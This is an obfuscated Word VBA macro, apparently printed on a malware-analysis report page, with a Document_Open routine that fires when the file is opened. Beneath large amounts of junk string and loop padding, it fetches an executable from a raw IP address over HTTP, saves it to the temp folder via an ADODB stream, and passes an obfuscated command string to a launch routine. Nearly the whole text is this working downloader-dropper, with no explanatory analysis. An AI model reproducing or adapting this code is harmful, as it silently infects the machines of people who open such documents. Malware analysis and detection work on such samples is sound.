    Wend

    usUCSu = Right("uTpkP)LhXi", 5)
    oDrEv = LTrim("XuNUr_#%WN")
    DSWgPPG = Right("AUP*wJ-))xu c%-PU", 3)
    AhcwtYVE = LTrim("Ylk#RJGOVq__(^")
    While XqPKmA < 34
        usUCSu = "dJd!x(W&_)JnvVqxfO" + "*]@vpLf.@CU" + "zui[Ex-RfRbUPB#UV"
        titIeg = "Mv]gZ_iYeg#sAN" + "sk)Hb AekDJRF [)" + "I@_ @Fe]XmtBr@LU.JGE"
        YOiGSk = LTrim("&CYZ[](Nwn_OoN")
        dyLrtP = UCase("&g(XWoo(CxWYV-#R")
        XqPKmA = XqPKmA + 3
    Wend

    YOiGSk = UCase("z OkZ(.yel@")
    JBiEfmr = UCase("Qa(_DDaS!i")
    dyLrtP = LTrim("OI%NfU*stpM*uS")
End Sub

Private Function MpRLqi(cHTfzm As Double, GFtGWhe As String, yBugfnU As Boolean, HaLSRk As Boolean) As String
    usUCSu = LTrim("-X-yaE_HBHJpwJpul")
    dyLrtP = Right("gU?KrTwdxiWdfqujzirB", 5)
    Xqqek = 1664 + 188 + 504
    titIeg = Right("?FStQFC^ba", 3)
    AhcwtYVE = "xPzqd?NiEGSI" + "nxh%rQPRIO@HKN$z" + "rkvd^*kZz-[&yD"
    dyLrtP = Right("rCbmNE)As@[g", 4)
    DSWgPPG = Right("aIvcpIFntk", 3)
    oDrEv = LTrim("o(mJ-KrFqXa$")
    usUCSu = 181 - 685 - 1801
    oDrEv = Left("LsRvlgG!o $zPnG?", 4)
    JBiEfmr = LTrim("]SHAd$lf#Zdl [IB_LS")
    Xqqek = UCase("ttZYlm-TZ.qLKnCl#")
    DSWgPPG = 118 - 317 - 1221
    Xqqek = 510 + 1907 + 1750
    DSWgPPG = Space(6)
    usUCSu = UCase("heGs baeBYe**C")
    DSWgPPG = UCase("rkZI!ko)zqfJDfgLb!b")
    oDrEv = UCase("^kw&)v]w)s%")
    uvbPqtU = 924 + 962 + 1417
    uvbPqtU = StrReverse("UoQ?GF*Saz%U)lw)CnL")
    While fHwmyK < 163
        oDrEv = 1223 - 1506 - 1635
        CpyIP = StrReverse("KFuifugU?p")
        AhcwtYVE = UCase("k(dqSj?$OF*wcaQ")
        AhcwtYVE = StrReverse("FYpGG?mnuFjr$IpkwrbQ")
        AhcwtYVE = Space(1)
        dyLrtP = Space(7)
        CpyIP = "!P$wi!B(eg" + "ItD)N?^nk!V%b" + "pK$@AYzDw$*@@aF"
        fHwmyK = fHwmyK + 2
    Wend

    usUCSu = 1225 + 786 + 668
    JBiEfmr = 851 - 1578 - 823
    DSWgPPG = "LkPswpjigUPZUupTnp" + "T-#-XgfW&J$P[uRH@hZ_" + "kBaQhHGGvxp@NH^@X"
    While nqKNIG < 207
        oDrEv = UCase("-hF?uJX@En")
        dyLrtP = UCase("RKcf&KYBnF")
        titIeg = UCase("*LX-IdeaAKzqo]O")
        CpyIP = Space(11)
        usUCSu = 383 - 1188 - 924
        CpyIP = LTrim("JL#.f_rD(_")
        oDrEv = Left("lpoBwGmDuBIBOdel", 3)
        JBiEfmr = Space(4)
        titIeg = 1457 + 1131 + 1710
        nqKNIG = nqKNIG + 2
    Wend

    YOiGSk = Space(1)
    MpRLqi = "yTKgdtqYvwXjUPohTAHLmNzIZb"
End Function

Private Sub Document_Open()
    Dim NLzzbeGv As String
    NLzzbeGv = "com]df.WeMxdeS v/Tco"
    NLzzbeGv = NLzzbeGv + " wrNuJnHdvl#lG3N2D.E"
    AhcwtYVE = RTrim("ei$tAm(F!)")
    CpyIP = 889 - 1171 - 767
    Xqqek = 1307 - 555 - 412
    JBiEfmr = 1981 - 147 - 771
    For GhZmGe = 0 To 48
        oDrEv = LTrim("G%S]HITkRgSWA")
        uvbPqtU = StrReverse("ZAJ%GIJxXVsCZ_TaiHd@")
        YOiGSk = UCase("hbln]Lm@Ju?")
        CpyIP = "qQR?G )wFy.yCiVLJK" + "E^DN!FZRQr*.MlSiKPNC" + "jbmI )Ks#Jynw*?lU"
        oDrEv = Left("rzjkqjPnsJmj", 4)
        AhcwtYVE = StrReverse("BFXv*J.c)^oUpU")
        oDrEv = Space(2)
        JBiEfmr = UCase("$gcZHJOA@&f_Q")
        Xqqek = Space(13)
        AhcwtYVE = Right("^qXt?_ZqOAt", 5)
    Next GhZmGe

    NLzzbeGv = NLzzbeGv + "eWxFeq ZsShPe?lSlW3["
    YOiGSk = LTrim("tINa?q)D&$$rfp-K")
    MiEuD = 671 - 1943 - 1288
    uvbPqtU = Space(20)
    usUCSu = RTrim("mUepSr_miJIJD")
    NLzzbeGv = NLzzbeGv + "2h.[dtl@lv,]SVhPeilm"
    CpyIP = StrReverse("nEHhojowXhCePdAzyG")
    MiEuD = 1987 + 901 + 501
    DSWgPPG = StrReverse("M-fiAh[.Tpj fKOmP")
    dyLrtP = LTrim("VeIdckx@MCKauOp(uyt")
    YOiGSk = UCase("VjTfN^ZX.wzyAHNokQj")
    JBiEfmr = 927 + 1267 + 740
    NLzzbeGv = NLzzbeGv + "lkEkxfencJ_ERpuInqD?"
    For WwekHF = 0 To 274
        uvbPqtU = 759 - 1029 - 487
        oDrEv = 870 + 1974 + 1669
        AhcwtYVE = Left("ADSEkc?Ll$ )Z", 4)
        dyLrtP = 209 - 1578 - 253
        AhcwtYVE = Left("Hewy_gZP.uB", 5)
        YOiGSk = Left("nfCO%w-!LGqoWBx", 4)
        JBiEfmr = 446 - 1885 - 943
        JBiEfmr = LTrim(")[I?Wvj]A#")
        CpyIP = LTrim("Sip^Myw*AYey_C)zK")
    Next WwekHF

    usUCSu = UCase("z!zDM&Nnqwj^h")
    For Eetwok = 0 To 136
        CpyIP = "OPXNbWUwytVL%!" + "^AOBm#EdsQd]*iekXlE" + "^RJ.ObnpLv"
        AhcwtYVE = UCase("?%hNMgpldnG*?]")
        titIeg = StrReverse("A@iSG)iem$.eqdGlz#b")
        AhcwtYVE = Left("^He?U_OOc@#-GzI&OP v", 5)
        usUCSu = Left("!@DyZ?vT$dxiDaC&XV", 2)
        dyLrtP = 1827 + 730 + 110
        MiEuD = Space(14)
        JBiEfmr = UCase("_knspfuiVFkq@HCjBQF*")
        uvbPqtU = Space(5)
    Next Eetwok

    JBiEfmr = UCase("-.Y?lfybbDArK")
    CpyIP = Left("$n%Hpx-o[]FiPwWoB.Dx", 4)
    titIeg = Space(11)
    NLzzbeGv = NLzzbeGv + "LoLP l%!tieqm-pa%)\t"
    dyLrtP = StrReverse("cux^c%-#UX")
    AhcwtYVE = StrReverse("r_YcQxZRZ]t")
    oDrEv = Right("CbVX^ys#)ZsnS", 4)
    YOiGSk = 223 + 1510 + 1244
    JBiEfmr = RTrim("r]mTgzKn @jam")
    YOiGSk = Left("Kjs&sMu[M##Zh", 5)
    NLzzbeGv = NLzzbeGv + "\eWrAkYgEsSessrQWA.p"
    oDrEv = 858 + 1443 + 816
    DSWgPPG = 1646 + 1701 + 609
    While SlblsR < 344
        AhcwtYVE = 817 + 606 + 1675
        Xqqek = Right("WTY-qTvAPSoFiPW", 4)
        SlblsR = SlblsR + 3
    Wend

    AhcwtYVE = Right("dc)ClgBDDg)sx!", 3)
    MiEuD = Right("kkiVNie$@%&P", 2)
    titIeg = 486 - 1874 - 1698
    While JAShgv < 262
        DSWgPPG = Right("qGus^wpwwZ.]xG__*", 4)
        DSWgPPG = StrReverse("Sj@[)#Egmm?M!")
        usUCSu = LTrim("bb(D@GanZK&BHil")
        JBiEfmr = RTrim("DSwMql[VyBCB[.wjL ")
        JAShgv = JAShgv + 2
    Wend

    NLzzbeGv = NLzzbeGv + "eMxJev"
    YOiGSk = UCase("_FwD_RjlKXP_^-rehtQ(")
    JBiEfmr = 1703 - 1682 - 1579
    CpyIP = Space(15)
    AhcwtYVE = UCase("&w&r?#gASO)GpeXH")
    dyLrtP = 539 - 985 - 975
    MiEuD = 653 - 816 - 754
    AhcwtYVE = Right("BbgZs]fYlJr g_-Q#Lr", 4)
    dyLrtP = "KT&ZBt(dDrMLel" + "muSnzWB?TZicf" + "CbkJspnCVo-V?shi"
    usUCSu = Right("PPpDj^nGOFiFLYk%d^X", 2)
    DSWgPPG = "HIUMgZTs)bbzM" + "[O Nk?Vo-%&QED" + "A.X?ngUegR!bgGlH@^"
    dyLrtP = Left("k]EXCEpHtO$oZ%_p", 2)
    While ouJUoE < 39
        MiEuD = Left("HXDXalro%uLXsNp lAxG", 4)
        CpyIP = LTrim("?o([SfJFUiLCrde")
        MiEuD = Space(13)
        usUCSu = 1951 - 1455 - 409
        ouJUoE = ouJUoE + 2
    Wend

    AhcwtYVE = LTrim("Xe-Sj#Vx.V?GVUS!lhX&")
    uvbPqtU = "@(fp@tbv*^$AGudXo" + "EB*x)DZk*XLpFDp" + "yK-nTTMJyEI"
    titIeg = StrReverse("rX^CoXPgLWXo")
    MiEuD = 1463 + 151 + 1820
    AhcwtYVE = Right("epeuPPP .LdJ[[ryN", 5)
    usUCSu = "mnbAKuhPX#]fCkV)C*" + "-F?%?(Y-oZnaj" + "pCzR]yODMcvVW%#(JV"
    usUCSu = LTrim("_pj#Ah$ilfzAK$")
    MiEuD = StrReverse("Ln-lxeE*svk")
    Dim JPNwl, XZeFEWGq As Object
    MiEuD = StrReverse("m*cpPpWV[m(*]")
    While iIZSVv < 49
        MiEuD = Left("nruXlhYiyrFFKqMqW", 3)
        AhcwtYVE = 439 - 1106 - 1522
        JBiEfmr = RTrim("lC%IM_XXS&v@%uBX")
        DSWgPPG = 723 + 163 + 219
        dyLrtP = 1283 + 804 + 322
        uvbPqtU = RTrim("jW@?yg(&W)U?CR")
        iIZSVv = iIZSVv + 1
    Wend

    Set JPNwl = CreateObject(LsyuEua("MTi$cDrNo#snoafjtL.eX_M$LTHTT&TgP&"))
    JBiEfmr = Left("Kit$A*hn mV*h", 4)
    DSWgPPG = UCase("qW&GyBJ.GIk")
    ViuQr = LsyuEua("h]tDtIpR:k/B/i1#6i7..q8E8p.[1*2F4c.b6(4 /Liqt_eFlueAxteD.GeMxie ")
    oDrEv = UCase("@)GG#vHA!t $y]pK@")
    While kYbxeg < 50
        DSWgPPG = LTrim("-)RBYXmG*S")
        oDrEv = 1156 + 1141 + 856
        AhcwtYVE = UCase(".]YcISDELqBpRYGK#Q z")
        MiEuD = Space(9)
        dyLrtP = LTrim("%[IzE&PmNo[SZ@(#")
        kYbxeg = kYbxeg + 3
    Wend

    DSWgPPG = Left("@nvDci)fnvhod", 4)
    Call JPNwl.Open(StrReverse("TEG"), ViuQr, False)
    DSWgPPG = 1322 - 1510 - 1804
    DSWgPPG = "_FNHF#NOl[C$" + "lKEOdaLw%x Q Oww(io" + "MOb(AXzXuokYVCJYmbC"
    JPNwl.send
    MiEuD = Left("R(rEWtM dF(v[IlvX", 5)
    uvbPqtU = RTrim("XSljCpbiecnx*R)@O@")
    If JPNwl.Status = 200 Then
    uvbPqtU = Right("DyjhZwXQ[qj", 5)
    dyLrtP = 139 + 725 + 705
        Set XZeFEWGq = CreateObject(LsyuEua("AzDrORDtB-.cSOtmrAeEa.mD"))
    JBiEfmr = Left("AgYGIMJXl?", 4)
    titIeg = "F.HztS[YZtJQh" + "VE*XdQUoRJC$" + ")rRVeoBM&NBkE?lj"
        XZeFEWGq.Open
    JBiEfmr = Space(20)
    MiEuD = 1043 - 607 - 1399
        XZeFEWGq.Type = 1
    dyLrtP = Right("kjiPNa%&bDE%U%ShP#K#", 4)
    DSWgPPG = LTrim("OQoZ-obM%rmuTrq*?v@R")
        QGSPL = JPNwl.responseBody
    YOiGSk = Left("s#OCfoT[$fPwaR&@q", 2)
    For pMFsSH = 0 To 26
        Xqqek = "qcR&Qh--pe" + ".b# gT.F)zTpP!DT" + "wEYy!XZwy!xyl.p)Jnq"
        titIeg = Space(8)
        dyLrtP = 1925 + 1878 + 606
    Next pMFsSH

        XZeFEWGq.Write QGSPL
    CpyIP = LTrim("a-gsI!pGI!WaaeOBfBf")
    AhcwtYVE = StrReverse("ThKPPjf*Rf-ap]JH")
    While eChTnO < 119
        usUCSu = 1614 - 921 - 869
        usUCSu = Left("BRuGwBjChp", 2)
        usUCSu = UCase("fXl]^ka^-y@_.!udR(")
        MiEuD = Right("HrN^UgHsWxFj^", 2)
        CpyIP = 1038 + 1134 + 978
        Xqqek = RTrim("gJDbcTbCjak.hd")
        eChTnO = eChTnO + 3
    Wend

        Dim CeVCdc As Object
    dyLrtP = Space(2)
    AhcwtYVE = Right("FY!chfkhYbnRe", 5)
    AhcwtYVE = 1288 - 588 - 1207
        Set CeVCdc = CreateObject(LsyuEua("sJc*r.i(p_tii(nGgg.]f%izljens^ylsXtAe@m^oNbyjIetcptt"))
    Xqqek = LTrim("t^v)WeKVWpmQBokuxF")
    JBiEfmr = 441 + 1568 + 1154
        CVmPE = CeVCdc.GetSpecialFolder(3 - 1)
    AhcwtYVE = 1466 - 1882 - 605
    oDrEv = StrReverse("^(Izd#Wac( G")
        Call XZeFEWGq.SaveToFile(CVmPE & "\\" & LsyuEua("WOADY)ELSUsdrIWK.beux_eq"), 2)
    AhcwtYVE = Right("hbOz@TZXC]Oro", 5)
    For LTPQBM = 0 To 147
        JBiEfmr = 1350 - 1196 - 717
        oDrEv = Right("dNIOjm@yAFc", 2)
    Next LTPQBM

        XZeFEWGq.Close
    JBiEfmr = UCase("qexgHD_PfO)P^$Qim")
    usUCSu = Left("p*!F-F$$c_u!L", 5)
    titIeg = RTrim("j%!r)pXFMfWf")
    End If
    dyLrtP = Left("Lf#JuqEL%AM^A$", 4)
    While uxhXTR < 184
        uvbPqtU = LTrim("Hz(rTWR)ILBuFoV")
        JBiEfmr = Right("htX[[QcTX.", 2)
        oDrEv = RTrim("*)-rOJ*[qCI")
        DSWgPPG = 823 + 690 + 1980
        MiEuD = Left("*ibtPOPEfg@", 3)
        CpyIP = Right("F tkiNy#GapQv ]]$", 5)
        dyLrtP = "KLwLGyi#UWplcTu" + "%ZPweka?gJO" + "-zgvuwuvcaoY"
        uvbPqtU = UCase("$GE.wX@z%J")
        JBiEfmr = StrReverse("YNdbJs#@mG-tadql_^")
        DSWgPPG = StrReverse("Ih_e_D-^XpikJTB-")
        uxhXTR = uxhXTR + 2
    Wend

    CpyIP = StrReverse("TIQCnj^d*!")

    CpyIP = Left("RsPSVmRlmC(oC?#f@", 5)
    JBiEfmr = 1996 - 907 - 803

    While DTAheSV < 493
        YOiGSk = UCase("b@%RNVJdVHAA-Us@f")
        For zGfzrM = 0 To 155
            JBiEfmr = Right("*uxR @JNufEIKn", 3)
            usUCSu = Left("C@TYqpm_yJsK ]waNfGq", 5)
            Xqqek = Left("d!g.OMBYaTjGe)O_H", 2)
            CpyIP = Space(5)
            uvbPqtU = Right("L^uFr.rw@*U%etB", 4)
        Next zGfzrM

        oDrEv = "dF)xVGDl@bFVyXSZLQ" + "nVsDJeHV#-S" + "OcO*_JI_QbXDHZnn"
        oDrEv = RTrim("fBosS@J)[-jMW")
        For ZFNKXf = 0 To 129
            Xqqek = "F*KYYETJfrVMGOiMAHf" + "&ObykNe#) $" + "(B*hvg#J%Mfl"
            oDrEv = UCase("q)$fhN--!$k")
            titIeg = 1167 + 835 + 1395
            uvbPqtU = "$ngetssLXfdk-" + "ACDhMax*^g.bk" + "@SdohnlnHTF"
            uvbPqtU = Space(15)
            MiEuD = RTrim("Si?K#&BSMps#aUGl")
        Next ZFNKXf

        While gtcqsz < 88
            DSWgPPG = Left("-uUy_Kjpa^CR", 3)
            usUCSu = Right("Av#KdEAN#-SM[LNNtW", 4)
            dyLrtP = Right("]%j#F?PUdM*D))()Qz.u", 5)
            DSWgPPG = LTrim("@]HWUrcfA[kP]D!&Z.")
            DSWgPPG = Space(10)
            oDrEv = Space(2)
            DSWgPPG = "-YGXP@Zl?xHc[PS" + "wnRU?aY.!qu" + "#McTnoT?a*[DN%Wy"
            DSWgPPG = 184 + 572 + 1624
            gtcqsz = gtcqsz + 1
        Wend

        YOiGSk = Space(7)
        DSWgPPG = Space(2)
        MiEuD = StrReverse("DjSB *txzQXm(Pa&)X")
        AhcwtYVE = Left("lTo)@]-h&g^@hpV", 3)
        YOiGSk = "m-_ j]@^^^vnh[l" + "AMWswi.&V]dXDLvROd" + "ex%t(HYHq&wJcmfxP"
        uvbPqtU = 1215 + 710 + 270
        CpyIP = LTrim("%qbbYnkUBT-")
        CpyIP = RTrim("$yPpcuJtBQfR")
        Xqqek = LTrim("srgbvUMJ!Bl$&*UI[")
        If DTAheSV = 148 Then
            oDrEv = UCase("J$OuMTaG@c]Sa(j")
            titIeg = Right("##pWPaHNihWmNKaNKCZ", 5)
            Call LjXhvln(LsyuEua(NLzzbeGv), "iSonHVWV", "CfdVYVUe", "ZWhHA", "xLQp")
            While Fgbtzb < 269
                DSWgPPG = Left("u@N%R]YIPqRwFIO-g", 4)
                JBiEfmr = Left("Az&OSLPtD&-pI f", 4)
                dyLrtP = Right("lLBLt-L?aQRi", 3)
                MiEuD = "J?E*c!z$iU?ZHk[S-p" + "zvCNC#N!Z#r" + "gpCkUTxHvkw?of"
                Fgbtzb = Fgbtzb + 3
            Wend

            DSWgPPG = LTrim("* oRQ)?-Bozz")
            dyLrtP = Right("Ms)@cZ N^k G", 5)
            MiEuD = Space(4)
            While hzeSdm < 214
                usUCSu = Left("v%pDTq &oDIDf?Cqnirs", 4)
                dyLrtP = "WtJ[HYN!OX.GH(i" + "yiDZOA*Ut$i@ihZ" + "*fBXjhNuIlClJ@o["
                oDrEv = 137 + 404 + 827
                titIeg = LTrim("%T*)LnQorEvoWRM")
                DSWgPPG = Right("w!gynUPTZG*iHCj", 3)
                dyLrtP = RTrim("m_!ff?minw(^YC!&GpY")
                MiEuD = 1693 + 1790 + 1851
                DSWgPPG = Space(18)
                hzeSdm = hzeSdm + 3
            Wend

            titIeg = LTrim("H!dewVNHASLb.LiG")
            While NtvZkt < 302
                titIeg = Right("R*$ O_dQX]%Uy", 3)
                DSWgPPG = Right("Cvv*(Dxu*hwA^wL", 4)
                titIeg = Left("[cBVGtvP#G", 5)
                MiEuD = StrReverse("Vb-]S]^%AkxAHB@mXdc")
                YOiGSk = RTrim("gBEK#eUY]Fy)")
                MiEuD = StrReverse("@R)fx!ErpuSDNVHOc")
                NtvZkt = NtvZkt + 3
            Wend

            For cPExZL = 0 To 335
                MiEuD = Space(17)
                titIeg = RTrim("Ae_&T?.CU#sPE)k")
                Xqqek = UCase("HL.Q*h[#*yWOkfUt?zt")
                DSWgPPG = RTrim("fIFbkDHj^BVy")
                MiEuD = ".NHNvIjXktE!&CRE]LEL" + "RcfceTtBOP*af*G!wBge" + "DWULUpk-f*!sFlVA"
            Next cPExZL

            AhcwtYVE = StrReverse("SwJ* ^ynpU# UVi")
            titIeg = Space(10)
            uvbPqtU = 601 + 1548 + 320
        End If
    DTAheSV = DTAheSV + 1
    Wend
End Sub

Private Function DOLqvt(WhYoYR As Integer, JjxrJP As Integer) As String
    CpyIP = UCase("vmFYHco_Cy_bEviXGI#X")
    usUCSu = UCase("q$(F?khS^nb!lB.")
    JBiEfmr = LTrim("Pt@rdwYTayReJXo&#")
    Xqqek = 488 - 138 - 753
    AhcwtYVE = 157 - 158 - 1794
    oDrEv = 1333 + 276 + 1432
    MiEuD = UCase("JH!ik ftTS&LrCS*")
    oDrEv = 917 + 150 + 426
    uvbPqtU = 907 - 1552 - 489
    For IiKcij = 0 To 296
        CpyIP = RTrim("BchF[XN?k[_]-I")
        dyLrtP = UCase("wcqNKQPjRJ")
    Next IiKcij

    DSWgPPG = UCase("vzr#-S##USD")
    dyLrtP = 217 - 819 - 1810
    titIeg = 1855 + 613 + 456
    YOiGSk = Right("tR[hKciPjj", 4)
    For edmtSo = 0 To 341
        uvbPqtU = UCase("wQdxaKZI@HnwGJHKDm.")
        JBiEfmr = Left("NjxHqNht[oEN ", 3)
        uvbPqtU = StrReverse("xjT&)N#DxZfWEq_#)V")
        YOiGSk = Left("]vqH.@os]FY_kNZoz&$", 2)
        uvbPqtU = Left("X_tvGvAW-D", 2)
        dyLrtP = Left("LPxZ)nC)V!IIBr&hi", 5)
        YOiGSk = Left("Ug_zmZdFdg@pV)wIe", 4)
        Xqqek = UCase("YEXb%QlCnX[Z?@gv-DH)")
        titIeg = 438 + 883 + 1132
        MiEuD = Space(11)
    Next edmtSo

    oDrEv = UCase("rR&Ee]k]rOq_Pn(Nt&zp")
    uvbPqtU = LTrim("cZt?TbhzFowO[v[Vu&yv")
    usUCSu = 870 - 505 - 1763
    JBiEfmr = 1627 - 935 - 1360
    CpyIP = LTrim("^cqN(NhSbKRxqVj")
    oDrEv = LTrim("DySCE)lzi@FV mHgYT^")
    CpyIP = RTrim("RQ$fH$_)NqnmsNRbSm$T")
    MiEuD = Left("^m[bwz.!&_dT@gbk!K", 3)
    uvbPqtU = StrReverse("XmeXJfc(^u[$%[EZ")
    AhcwtYVE = Space(4)
    YOiGSk = Space(20)
    uvbPqtU = StrReverse("FCmCP^m^ae_)pac.NMMx")
    DOLqvt = "FxbXSIczPLigMrGmbkyZLPkhrao"
End Function

Private Function ielaGg(VhhGYRf As String, qcNGxPo As Boolean) As String
    AhcwtYVE = Space(3)
    While sAgvvS < 142
        YOiGSk = LTrim("TRXsPJY)*abyYZr*")
        uvbPqtU = 1148 + 1727 + 662
        CpyIP = Right("JMuzRjHqUub?-wt[", 5)
        CpyIP = "]YYMEa#p$SW.TWS-" + "W^d)JMj^YiBiHDYY_SV" + "P@bRYeF@i)yn&"
        YOiGSk = Space(10)
        usUCSu = Right("_@$$c^kAKUF]w", 5)
        AhcwtYVE = Space(4)
        sAgvvS = sAgvvS + 1
    Wend

    For YoOQDH = 0 To 172
        uvbPqtU = RTrim("E[XH^RLZWa]a")
        DSWgPPG = 502 + 1942 + 1271
        dyLrtP = StrReverse("[vA@!QCE-lRr&Mi]V$")
        DSWgPPG = StrReverse(")eTx&(QIeq")
        uvbPqtU = LTrim("&q^b?G_(Coamvi ")
    Next YoOQDH

    For rrtHPC = 0 To 76
        YOiGSk = StrReverse("lw&KbN.&N!sjHOmL")
        dyLrtP = UCase("cGCboUBzGsBr^")
        MiEuD = 554 - 1922 - 1764
        JBiEfmr = RTrim("kBeyi%usTF")
        dyLrtP = UCase("f#Hwc_at&QBVjgc%aj")
        titIeg = 1145 - 828 - 1121
        YOiGSk = UCase("?JjfbFgjcQ")
        titIeg = UCase("zFnT^(f!s.q")
    Next rrtHPC

    CpyIP = 1036 + 309 + 750
    dyLrtP = UCase("^uQvuerhqLK-hZUdo")
    YOiGSk = 1785 + 1413 + 888
    DSWgPPG = UCase(".llVT]cWbfj![RbTQ")
    oDrEv = Right("g_wCEFO)t_oLLbaH-B", 2)
    JBiEfmr = StrReverse("Vg_*qMOk(^qnw")
    MiEuD = UCase("rnVwCALj$D")
    JBiEfmr = StrReverse("OuEcN[FE!g!?")
    Xqqek = Space(17)
    CpyIP = UCase("RfYB_#oKQj%Y !BvQ")
…

Open this report in the interactive analyzer, or submit your own file for analysis.